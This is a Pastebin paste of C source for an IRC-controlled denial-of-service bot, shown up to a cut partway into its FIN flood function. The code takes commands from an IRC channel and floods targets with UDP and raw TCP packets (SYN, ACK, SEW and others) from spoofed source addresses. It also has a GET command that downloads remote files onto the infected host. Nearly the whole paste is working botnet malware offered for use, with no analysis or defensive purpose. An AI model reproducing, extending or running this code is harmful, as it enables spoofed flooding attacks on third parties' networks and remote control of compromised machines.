Advertisement
wtfbbq

IRC DoS Bot

Apr 17th, 2015
3,289
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 63.76 KB | None | 0 0
  1. /* 
  2.     denial of service irc bot.
  3.     available commands:
  4.    
  5.     !* udp <target> <port> <time>
  6.     !* syn <target> <port> <time>
  7.     !* fin <target> <port> <time>
  8.     !* psh <target> <port> <time>
  9.     !* ack <target> <port> <time>
  10.     !* urg <target> <port> <time>
  11.     !* rst <target> <port> <time>
  12.     !* ece <target> <port> <time>
  13.     !* cwr <target> <port> <time>
  14.     !* sew <target> <port> <time>
  15.     !* xmas <target> <port> <time>
  16.     !* unknown <target> <time>
  17. */
  18. #undef STARTUP
  19. #undef IDENT
  20. #define FAKENAME "fakename"
  21. #define CHAN "#chan"
  22. #define KEY "key"
  23. int numservers=1;
  24. char *servers[] = {
  25.     "fbi.gov",
  26.     (void*)0
  27. };
  28. #include <stdarg.h>
  29. #include <errno.h>
  30. #include <stdio.h>
  31. #include <stdlib.h>
  32. #include <string.h>
  33. #include <sys/types.h>
  34. #include <sys/stat.h>
  35. #include <fcntl.h>
  36. #include <strings.h>
  37. #include <netinet/in.h>
  38. #include <unistd.h>
  39. #include <sys/time.h>
  40. #include <sys/socket.h>
  41. #include <signal.h>
  42. #include <arpa/inet.h>
  43. #include <netdb.h>
  44. #include <time.h>
  45. #include <sys/wait.h>
  46. #include <sys/ioctl.h>
  47. int sock,changeservers=0;
  48.     char *server, *chan, *key, *nick, *ident, *user, disabled=0, execfile[256],dispass[256];
  49.     unsigned int *pids;
  50.     unsigned long spoofs=0, spoofsm=0, numpids=0;
  51. int strwildmatch(const char* pattern, const char* string) {
  52.     switch(*pattern) {
  53.         case '\0': return *string;
  54.         case '*': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  55.         case '?': return !(*string && !strwildmatch(pattern+1, string+1));
  56.         default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
  57.     }
  58. }
  59. int Send(int sock, char *words, ...) {
  60.         static char textBuffer[1024];
  61.         va_list args;
  62.         va_start(args, words);
  63.         vsprintf(textBuffer, words, args);
  64.         va_end(args);
  65.         return write(sock,textBuffer,strlen(textBuffer));
  66. }
  67. int mfork(char *sender) {
  68.     unsigned int parent, *newpids, i;
  69.     if (disabled == 1) {
  70.         Send(sock,"NOTICE %s :Unable to comply.\n",sender);
  71.         return 1;
  72.     }
  73.     parent=fork();
  74.     if (parent <= 0) return parent;
  75.     numpids++;
  76.     newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  77.     for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
  78.     newpids[numpids-1]=parent;
  79.     free(pids);
  80.     pids=newpids;
  81.     return parent;
  82. }
  83. unsigned long getspoof() {
  84.     if (!spoofs) return rand();
  85.     if (spoofsm == 1) return ntohl(spoofs);
  86.     return ntohl(spoofs+(rand() % spoofsm)+1);
  87. }
  88. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  89. char *makestring() {
  90.    char *tmp;
  91.    int len=13,i;
  92.    tmp=(char*)malloc(len+1);
  93.     memset(tmp,0,len+1);
  94.    for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  95.    tmp[0]='R';
  96.    tmp[1]='E';
  97.    tmp[2]='K';
  98.    tmp[3]='T';
  99.    tmp[4]='|';
  100.    return tmp;
  101. }
  102. void identd() {
  103.         int sockname,sockfd,sin_size,tmpsock,i;
  104.         struct sockaddr_in my_addr,their_addr;
  105.         char szBuffer[1024];
  106.         if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
  107.         my_addr.sin_family = AF_INET;
  108.         my_addr.sin_port = htons(113);
  109.         my_addr.sin_addr.s_addr = INADDR_ANY;
  110.         memset(&(my_addr.sin_zero), 0, 8);
  111.         if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
  112.         if (listen(sockfd, 1) == -1) return;
  113.         if (fork() == 0) return;
  114.         sin_size = sizeof(struct sockaddr_in);
  115.         if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
  116.         for(;;) {
  117.                 fd_set bla;
  118.                 struct timeval timee;
  119.                 FD_ZERO(&bla);
  120.                 FD_SET(tmpsock,&bla);
  121.                 timee.tv_sec=timee.tv_usec=60;
  122.                 if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
  123.                 if (FD_ISSET(tmpsock,&bla)) break;
  124.         }
  125.         i = recv(tmpsock,szBuffer,1024,0);
  126.         if (i <= 0 || i >= 20) exit(0);
  127.         szBuffer[i]=0;
  128.         if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
  129.         if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
  130.     Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
  131.         close(tmpsock);
  132.         close(sockfd);
  133.         exit(0);
  134. }
  135. long pow(long a, long b) {
  136.         if (b == 0) return 1;
  137.         if (b == 1) return a;
  138.         return a*pow(a,b-1);
  139. }
  140. u_short in_cksum(u_short *addr, int len) {
  141.         register int nleft = len;
  142.         register u_short *w = addr;
  143.         register int sum = 0;
  144.         u_short answer =0;
  145.         while (nleft > 1) {
  146.                 sum += *w++;
  147.                 nleft -= 2;
  148.         }
  149.         if (nleft == 1) {
  150.                 *(u_char *)(&answer) = *(u_char *)w;
  151.                 sum += answer;
  152.         }
  153.         sum = (sum >> 16) + (sum & 0xffff);
  154.         sum += (sum >> 16);
  155.         answer = ~sum;
  156.         return(answer);
  157. }
  158. void get(int sock, char *sender, int argc, char **argv) {
  159.         int sock2,i,d;
  160.         struct sockaddr_in server;
  161.         unsigned long ipaddr;
  162.         char buf[1024];
  163.         FILE *file;
  164.         unsigned char bufm[4096];
  165.         if (mfork(sender) != 0) return;
  166.         if (argc < 2) {
  167.                 Send(sock,"NOTICE %s :GET <host> <save as>\n",sender);
  168.                 exit(0);
  169.         }
  170.         if ((sock2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  171.                 Send(sock,"NOTICE %s :Unable to create socket.\n",sender);
  172.                 exit(0);
  173.         }
  174.         if (!strncmp(argv[1],"http://",7)) strcpy(buf,argv[1]+7);
  175.         else strcpy(buf,argv[1]);
  176.         for (i=0;i<strlen(buf) && buf[i] != '/';i++);
  177.         buf[i]=0;
  178.         server.sin_family = AF_INET;
  179.         server.sin_port = htons(80);
  180.         if ((ipaddr = inet_addr(buf)) == -1) {
  181.                 struct hostent *hostm;
  182.                 if ((hostm=gethostbyname(buf)) == NULL) {
  183.                         Send(sock,"NOTICE %s :Unable to resolve address.\n",sender);
  184.                         exit(0);
  185.                 }
  186.                 memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
  187.         }
  188.         else server.sin_addr.s_addr = ipaddr;
  189.         memset(&(server.sin_zero), 0, 8);
  190.         if (connect(sock2,(struct sockaddr *)&server, sizeof(server)) != 0) {
  191.                 Send(sock,"NOTICE %s :Unable to connect to http.\n",sender);
  192.                 exit(0);
  193.         }
  194.  
  195.         Send(sock2,"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n",buf+i+1,buf);
  196.         Send(sock,"NOTICE %s :Receiving file.\n",sender);
  197.         file=fopen(argv[2],"wb");
  198.         while(1) {
  199.                 int i;
  200.                 if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
  201.                 if (i < 4096) bufm[i]=0;
  202.                 for (d=0;d<i;d++) if (!strncmp(bufm+d,"\r\n\r\n",4)) {
  203.                         for (d+=4;d<i;d++) fputc(bufm[d],file);
  204.                         goto done;
  205.                 }
  206.         }
  207.         done:
  208.         Send(sock,"NOTICE %s :Saved as %s\n",sender,argv[2]);
  209.         while(1) {
  210.                 int i,d;
  211.                 if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
  212.                 if (i < 4096) bufm[i]=0;
  213.                 for (d=0;d<i;d++) fputc(bufm[d],file);
  214.         }
  215.         fclose(file);
  216.         close(sock2);
  217.         exit(0);
  218. }
  219. void getspoofs(int sock, char *sender, int argc, char **argv) {
  220.         unsigned long a=spoofs,b=spoofs+(spoofsm-1);
  221.         if (spoofsm == 1) Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0]);
  222.         else Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0],((u_char*)&b)[3],((u_char*)&b)[2],((u_char*)&b)[1],((u_char*)&b)[0]);
  223. }
  224. void version(int sock, char *sender, int argc, char **argv) {
  225.         Send(sock,"NOTICE %s :kr3d. v0.666\n",sender);
  226. }
  227. void nickc(int sock, char *sender, int argc, char **argv) {
  228.         if (argc != 1) {
  229.                 Send(sock,"NOTICE %s :NICK <nick>\n",sender);
  230.                 return;
  231.         }
  232.         if (strlen(argv[1]) >= 10) {
  233.                 Send(sock,"NOTICE %s :Nick cannot be larger than 9 characters.\n",sender);
  234.                 return;
  235.         }
  236.         Send(sock,"NICK %s\n",argv[1]);
  237. }
  238. void disable(int sock, char *sender, int argc, char **argv) {
  239.         if (argc != 1) {
  240.                 Send(sock,"NOTICE %s :DISABLE <pass>\n",sender);
  241.                 Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
  242.                 return;
  243.         }
  244.     if (disabled) {
  245.         Send(sock,"NOTICE %s :Already disabled.\n",sender);
  246.         return;
  247.     }
  248.     if (strlen(argv[1]) > 254) {
  249.                 Send(sock,"NOTICE %s :Password too long! > 254\n",sender);
  250.                 return;
  251.     }
  252.         disabled=1;
  253.     memset(dispass,0,256);
  254.     strcpy(dispass,argv[1]);
  255.     Send(sock,"NOTICE %s :Disable sucessful.\n");
  256. }
  257. void enable(int sock, char *sender, int argc, char **argv) {
  258.         if (argc != 1) {
  259.                 Send(sock,"NOTICE %s :ENABLE <pass>\n",sender);
  260.                 Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
  261.                 return;
  262.         }
  263.     if (!disabled) {
  264.         Send(sock,"NOTICE %s :Already enabled.\n",sender);
  265.         return;
  266.     }
  267.     if (strcasecmp(dispass,argv[1])) {
  268.         Send(sock,"NOTICE %s :Wrong password\n",sender);
  269.         return;
  270.     }
  271.         disabled=0;
  272.     Send(sock,"NOTICE %s :Password correct.\n",sender);
  273. }
  274. void spoof(int sock, char *sender, int argc, char **argv) {
  275.         char ip[256];
  276.         int i, num;
  277.         unsigned long uip;
  278.         if (argc != 1) {
  279.                 Send(sock,"NOTICE %s :Removed all spoofs\n",sender);
  280.                 spoofs=0;
  281.                 spoofsm=0;
  282.                 return;
  283.         }
  284.         if (strlen(argv[1]) > 16) {
  285.                 Send(sock,"NOTICE %s :What kind of subnet address is that? Do something like: 169.40\n",sender);
  286.                 return;
  287.         }
  288.         strcpy(ip,argv[1]);
  289.         if (ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0;
  290.         for (i=0, num=1;i<strlen(ip);i++) if (ip[i] == '.') num++;
  291.         num=-(num-4);
  292.         for (i=0;i<num;i++) strcat(ip,".0");
  293.         uip=inet_network(ip);
  294.         if (num == 0) spoofsm=1;
  295.         else spoofsm=pow(256,num);
  296.         spoofs=uip;
  297. }
  298. struct iphdr {
  299.         unsigned int ihl:4, version:4;
  300.         unsigned char tos;
  301.         unsigned short tot_len;
  302.         unsigned short id;
  303.         unsigned short frag_off;
  304.         unsigned char ttl;
  305.         unsigned char protocol;
  306.         unsigned short check;
  307.         unsigned long saddr;
  308.         unsigned long daddr;
  309. };
  310. struct udphdr {
  311.         unsigned short source;
  312.         unsigned short dest;
  313.         unsigned short len;
  314.         unsigned short check;
  315. };
  316. struct tcphdr {
  317.         unsigned short source;
  318.         unsigned short dest;
  319.         unsigned long seq;
  320.         unsigned long ack_seq;
  321.         unsigned short res1:4, doff:4;
  322.     unsigned char fin:1, syn:1, rst:1, psh:1, ack:1, urg:1, ece:1, cwr:1;
  323.         unsigned short window;
  324.         unsigned short check;
  325.         unsigned short urg_ptr;
  326. };
  327. struct send_tcp {
  328.     struct iphdr ip;
  329.     struct tcphdr tcp;
  330.     char buf[20];
  331. };
  332. struct pseudo_header {
  333.     unsigned int source_address;
  334.     unsigned int dest_address;
  335.     unsigned char placeholder;
  336.     unsigned char protocol;
  337.     unsigned short tcp_length;
  338.     struct tcphdr tcp;
  339.     char buf[20];
  340. };
  341. unsigned int host2ip(char *sender,char *hostname) {
  342.         static struct in_addr i;
  343.         struct hostent *h;
  344.         if((i.s_addr = inet_addr(hostname)) == -1) {
  345.                 if((h = gethostbyname(hostname)) == NULL) {
  346.                         Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
  347.                         exit(0);
  348.                 }
  349.                 bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  350.         }
  351.         return i.s_addr;
  352. }
  353. void udp(int sock, char *sender, int argc, char **argv) {
  354.         unsigned int port,i=0;
  355.         unsigned long psize,target,secs;
  356.         struct sockaddr_in s_in;
  357.         struct iphdr *ip;
  358.     struct udphdr *udp;
  359.     char buf[1500],*str;
  360.         int get;
  361.         time_t start=time(NULL);
  362.         if (mfork(sender) != 0) return;
  363.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  364.         if (argc < 3) {
  365.                 Send(sock,"NOTICE %s :UDP <target> <port> <secs>\n",sender);
  366.                 exit(1);
  367.         }
  368.         target = host2ip(sender,argv[1]);
  369.         port = atoi(argv[2]);
  370.         secs = atol(argv[3]);
  371.         ip=(void*)buf;
  372.     udp=(void*)(buf+sizeof(struct iphdr));
  373.         str=(void*)(buf+sizeof(struct iphdr)+sizeof(struct udphdr));
  374.         memset(str,10,1500-(sizeof(struct iphdr)+sizeof(struct udphdr)));
  375.         Send(sock,"NOTICE %s :Packeting %s.\n",sender,argv[1]);
  376.         ip->ihl = 5;
  377.         ip->version = 4;
  378.         ip->tos = 0;
  379.         ip->tot_len = 1500;
  380.         ip->frag_off = 0;
  381.         ip->protocol = 17;
  382.         ip->ttl = 64;
  383.         ip->daddr = target;
  384.         udp->len = htons(psize);
  385.         s_in.sin_family  = AF_INET;
  386.         s_in.sin_addr.s_addr = target;
  387.         for (;;) {
  388.                 udp->source = rand();
  389.                 if (port) udp->dest = htons(port);
  390.                 else udp->dest = rand();
  391.                 udp->check = in_cksum((u_short *)buf,1500);
  392.                 ip->saddr = getspoof();
  393.                 ip->id = rand();
  394.                 ip->check = in_cksum((u_short *)buf,1500);
  395.                 s_in.sin_port = udp->dest;
  396.                 sendto(get,buf,1500,0,(struct sockaddr *)&s_in,sizeof(s_in));
  397.                 if (i >= 50) {
  398.                         if (time(NULL) >= start+secs) exit(0);
  399.                         i=0;
  400.                 }
  401.                 i++;
  402.         }
  403. }
  404. void syn(int sock, char *sender, int argc, char **argv) {
  405.         struct send_tcp send_tcp;
  406.         struct pseudo_header pseudo_header;
  407.         struct sockaddr_in sin;
  408.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  409.         unsigned int psize=20, source, dest, check;
  410.         unsigned long saddr, daddr,secs;
  411.         int get;
  412.         time_t start=time(NULL);
  413.         if (mfork(sender) != 0) return;
  414.         if (argc < 3) {
  415.                 Send(sock,"NOTICE %s :SYN <target> <port> <secs>\n",sender);
  416.                 exit(1);
  417.         }
  418.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  419.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  420.         daddr=host2ip(sender,argv[1]);
  421.         secs=atol(argv[3]);
  422.     dest=htons(atoi(argv[2]));
  423.         Send(sock,"NOTICE %s :Packeting %s\n",sender,argv[1]);
  424.     send_tcp.ip.ihl = 5;
  425.         send_tcp.ip.version = 4;
  426.         send_tcp.ip.tos = 16;
  427.         send_tcp.ip.frag_off = 64;
  428.     send_tcp.ip.ttl = 255;
  429.     send_tcp.ip.protocol = 6;
  430.     send_tcp.tcp.doff = 5;
  431.         send_tcp.tcp.res1 = 0;
  432.         send_tcp.tcp.cwr = 0;
  433.         send_tcp.tcp.ece = 0;
  434.         send_tcp.tcp.psh = 0;
  435.         send_tcp.tcp.rst = 0;
  436.         send_tcp.tcp.fin = 0;
  437.     send_tcp.tcp.urg = 0;
  438.         send_tcp.tcp.syn = 1;
  439.         send_tcp.tcp.ack = 1;
  440.     send_tcp.tcp.window = 30845;
  441.         send_tcp.tcp.urg_ptr = 0;
  442.         while(1) {
  443.         saddr=getspoof();
  444.         if (atoi(argv[2]) == 0) dest=rand();
  445.                 send_tcp.ip.tot_len = htons(40+psize);
  446.                 send_tcp.ip.id = rand();
  447.                 send_tcp.ip.check = 0;
  448.                 send_tcp.ip.saddr = saddr;
  449.                 send_tcp.ip.daddr = daddr;
  450.                 send_tcp.tcp.source = rand();
  451.                 send_tcp.tcp.dest = dest;
  452.                 send_tcp.tcp.seq = rand();
  453.                 send_tcp.tcp.ack_seq = rand();
  454.                 send_tcp.tcp.check = 0;
  455.                 sin.sin_family = AF_INET;
  456.                 sin.sin_port = send_tcp.tcp.dest;
  457.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  458.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  459.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  460.                 pseudo_header.source_address = send_tcp.ip.saddr;
  461.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  462.                 pseudo_header.placeholder = 0;
  463.                 pseudo_header.protocol = IPPROTO_TCP;
  464.                 pseudo_header.tcp_length = htons(20+psize);
  465.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  466.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  467.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  468.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  469.                 if (a >= 50) {
  470.                         if (time(NULL) >= start+secs) exit(0);
  471.                         a=0;
  472.                 }
  473.                 a++;
  474.         }
  475.         close(get);
  476.         exit(0);
  477. }
  478. void nssyn(int sock, char *sender, int argc, char **argv) {
  479.         struct send_tcp send_tcp;
  480.         struct pseudo_header pseudo_header;
  481.         struct sockaddr_in sin;
  482.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  483.         unsigned int psize=20, source, dest, check;
  484.         unsigned long saddr, daddr,secs;
  485.         int get;
  486.         time_t start=time(NULL);
  487.         if (mfork(sender) != 0) return;
  488.         if (argc < 3) {
  489.                 Send(sock,"NOTICE %s :NSSYN <target> <port> <secs>\n",sender);
  490.                 exit(1);
  491.         }
  492.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  493.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  494.         daddr=host2ip(sender,argv[1]);
  495.         secs=atol(argv[3]);
  496.         Send(sock,"NOTICE %s :Packeting %s \n",sender,argv[1]);
  497.         send_tcp.ip.ihl = 5;
  498.         send_tcp.ip.version = 4;
  499.         send_tcp.ip.tos = 16;
  500.         send_tcp.ip.frag_off = 64;
  501.         send_tcp.ip.ttl = 64;
  502.         send_tcp.ip.protocol = 6;
  503.         send_tcp.tcp.ack_seq = 0;
  504.         send_tcp.tcp.doff = 10;
  505.         send_tcp.tcp.res1 = 0;
  506.         send_tcp.tcp.cwr = 0;
  507.         send_tcp.tcp.ece = 0;
  508.         send_tcp.tcp.urg = 0;
  509.         send_tcp.tcp.ack = 0;
  510.         send_tcp.tcp.psh = 0;
  511.         send_tcp.tcp.rst = 0;
  512.         send_tcp.tcp.fin = 0;
  513.         send_tcp.tcp.syn = 1;
  514.         send_tcp.tcp.window = 30845;
  515.         send_tcp.tcp.urg_ptr = 0;
  516.         dest=htons(atoi(argv[2]));
  517.         while(1) {
  518.                 source=rand();
  519.                 if (atoi(argv[2]) == 0) dest=rand();
  520.                 saddr=INADDR_ANY;
  521.                 send_tcp.ip.tot_len = htons(40+psize);
  522.                 send_tcp.ip.id = rand();
  523.                 send_tcp.ip.saddr = saddr;
  524.                 send_tcp.ip.daddr = daddr;
  525.                 send_tcp.ip.check = 0;
  526.                 send_tcp.tcp.source = source;
  527.                 send_tcp.tcp.dest = dest;
  528.                 send_tcp.tcp.seq = rand();
  529.                 send_tcp.tcp.check = 0;
  530.                 sin.sin_family = AF_INET;
  531.                 sin.sin_port = dest;
  532.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  533.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  534.                 check = rand();
  535.                 send_tcp.buf[9]=((char*)&check)[0];
  536.                 send_tcp.buf[10]=((char*)&check)[1];
  537.                 send_tcp.buf[11]=((char*)&check)[2];
  538.                 send_tcp.buf[12]=((char*)&check)[3];
  539.                 pseudo_header.source_address = send_tcp.ip.saddr;
  540.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  541.                 pseudo_header.placeholder = 0;
  542.                 pseudo_header.protocol = IPPROTO_TCP;
  543.                 pseudo_header.tcp_length = htons(20+psize);
  544.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  545.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  546.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  547.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  548.                 if (a >= 50) {
  549.                         if (time(NULL) >= start+secs) exit(0);
  550.                         a=0;
  551.                 }
  552.                 a++;
  553.         }
  554.         close(get);
  555.         exit(0);
  556. }
  557. void ack(int sock, char *sender, int argc, char **argv) {
  558.         struct send_tcp send_tcp;
  559.         struct pseudo_header pseudo_header;
  560.         struct sockaddr_in sin;
  561.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  562.         unsigned int psize=20, source, dest, check;
  563.         unsigned long saddr, daddr,secs;
  564.         int get;
  565.         time_t start=time(NULL);
  566.         if (mfork(sender) != 0) return;
  567.         if (argc < 3) {
  568.                 Send(sock,"NOTICE %s :ACK <target> <port> <secs>\n",sender);
  569.                 exit(1);
  570.         }
  571.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  572.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  573.         daddr=host2ip(sender,argv[1]);
  574.         secs=atol(argv[3]);
  575.     dest=htons(atoi(argv[2]));
  576.         Send(sock,"NOTICE %s :Packeting %s\n",sender,argv[1]);
  577.     send_tcp.ip.ihl = 5;
  578.         send_tcp.ip.version = 4;
  579.         send_tcp.ip.tos = 16;
  580.         send_tcp.ip.frag_off = 64;
  581.     send_tcp.ip.ttl = 255;
  582.     send_tcp.ip.protocol = 6;
  583.     send_tcp.tcp.doff = 5;
  584.         send_tcp.tcp.res1 = 0;
  585.         send_tcp.tcp.cwr = 0;
  586.         send_tcp.tcp.ece = 0;
  587.         send_tcp.tcp.urg = 0;
  588.         send_tcp.tcp.ack = 1;
  589.         send_tcp.tcp.psh = 1;
  590.     send_tcp.tcp.rst = 0;
  591.         send_tcp.tcp.fin = 0;
  592.         send_tcp.tcp.syn = 0;
  593.     send_tcp.tcp.window = 30845;
  594.         send_tcp.tcp.urg_ptr = 0;
  595.         while(1) {
  596.         saddr=getspoof();
  597.         if (atoi(argv[2]) == 0) dest=rand();
  598.                 send_tcp.ip.tot_len = htons(40+psize);
  599.                 send_tcp.ip.id = rand();
  600.                 send_tcp.ip.check = 0;
  601.                 send_tcp.ip.saddr = saddr;
  602.                 send_tcp.ip.daddr = daddr;
  603.                 send_tcp.tcp.source = rand();
  604.                 send_tcp.tcp.dest = dest;
  605.                 send_tcp.tcp.seq = rand();
  606.                 send_tcp.tcp.ack_seq = rand();
  607.                 send_tcp.tcp.check = 0;
  608.                 sin.sin_family = AF_INET;
  609.                 sin.sin_port = send_tcp.tcp.dest;
  610.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  611.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  612.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  613.                 pseudo_header.source_address = send_tcp.ip.saddr;
  614.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  615.                 pseudo_header.placeholder = 0;
  616.                 pseudo_header.protocol = IPPROTO_TCP;
  617.                 pseudo_header.tcp_length = htons(20+psize);
  618.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  619.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  620.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  621.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  622.                 if (a >= 50) {
  623.                         if (time(NULL) >= start+secs) exit(0);
  624.                         a=0;
  625.                 }
  626.                 a++;
  627.         }
  628.         close(get);
  629.         exit(0);
  630. }
  631. void sew(int sock, char *sender, int argc, char **argv) {
  632.         struct send_tcp send_tcp;
  633.         struct pseudo_header pseudo_header;
  634.         struct sockaddr_in sin;
  635.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  636.         unsigned int psize=20, source, dest, check;
  637.         unsigned long saddr, daddr,secs;
  638.         int get;
  639.         time_t start=time(NULL);
  640.         if (mfork(sender) != 0) return;
  641.         if (argc < 3) {
  642.                 Send(sock,"NOTICE %s :SEW <target> <port> <secs>\n",sender);
  643.                 exit(1);
  644.         }
  645.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  646.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  647.         daddr=host2ip(sender,argv[1]);
  648.         secs=atol(argv[3]);
  649.     dest=htons(atoi(argv[2]));
  650.         Send(sock,"NOTICE %s :Packeting %s\n",sender,argv[1]);
  651.     send_tcp.ip.ihl = 5;
  652.         send_tcp.ip.version = 4;
  653.         send_tcp.ip.tos = 16;
  654.         send_tcp.ip.frag_off = 64;
  655.     send_tcp.ip.ttl = 255;
  656.     send_tcp.ip.protocol = 6;
  657.     send_tcp.tcp.doff = 5;
  658.         send_tcp.tcp.res1 = 3;
  659.         send_tcp.tcp.cwr = 0;
  660.         send_tcp.tcp.ece = 0;
  661.         send_tcp.tcp.urg = 0;
  662.         send_tcp.tcp.ack = 0;
  663.         send_tcp.tcp.psh = 0;
  664.     send_tcp.tcp.rst = 0;
  665.         send_tcp.tcp.fin = 0;
  666.         send_tcp.tcp.syn = 1;
  667.     send_tcp.tcp.window = 30845;
  668.         send_tcp.tcp.urg_ptr = 0;
  669.         while(1) {
  670.         saddr=getspoof();
  671.         if (atoi(argv[2]) == 0) dest=rand();
  672.                 send_tcp.ip.tot_len = htons(40+psize);
  673.                 send_tcp.ip.id = rand();
  674.                 send_tcp.ip.check = 0;
  675.                 send_tcp.ip.saddr = saddr;
  676.                 send_tcp.ip.daddr = daddr;
  677.                 send_tcp.tcp.source = rand();
  678.                 send_tcp.tcp.dest = dest;
  679.                 send_tcp.tcp.seq = rand();
  680.                 send_tcp.tcp.ack_seq = rand();
  681.                 send_tcp.tcp.check = 0;
  682.                 sin.sin_family = AF_INET;
  683.                 sin.sin_port = send_tcp.tcp.dest;
  684.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  685.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  686.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  687.                 pseudo_header.source_address = send_tcp.ip.saddr;
  688.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  689.                 pseudo_header.placeholder = 0;
  690.                 pseudo_header.protocol = IPPROTO_TCP;
  691.                 pseudo_header.tcp_length = htons(20+psize);
  692.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  693.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  694.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  695.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  696.                 if (a >= 50) {
  697.                         if (time(NULL) >= start+secs) exit(0);
  698.                         a=0;
  699.                 }
  700.                 a++;
  701.         }
  702.         close(get);
  703.         exit(0);
  704. }
  705. void fin(int sock, char *sender, int argc, char **argv) {
  706.         struct send_tcp send_tcp;
  707.         struct pseudo_header pseudo_header;
  708.         struct sockaddr_in sin;
  709.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  710.         unsigned int psize=20, source, dest, check;
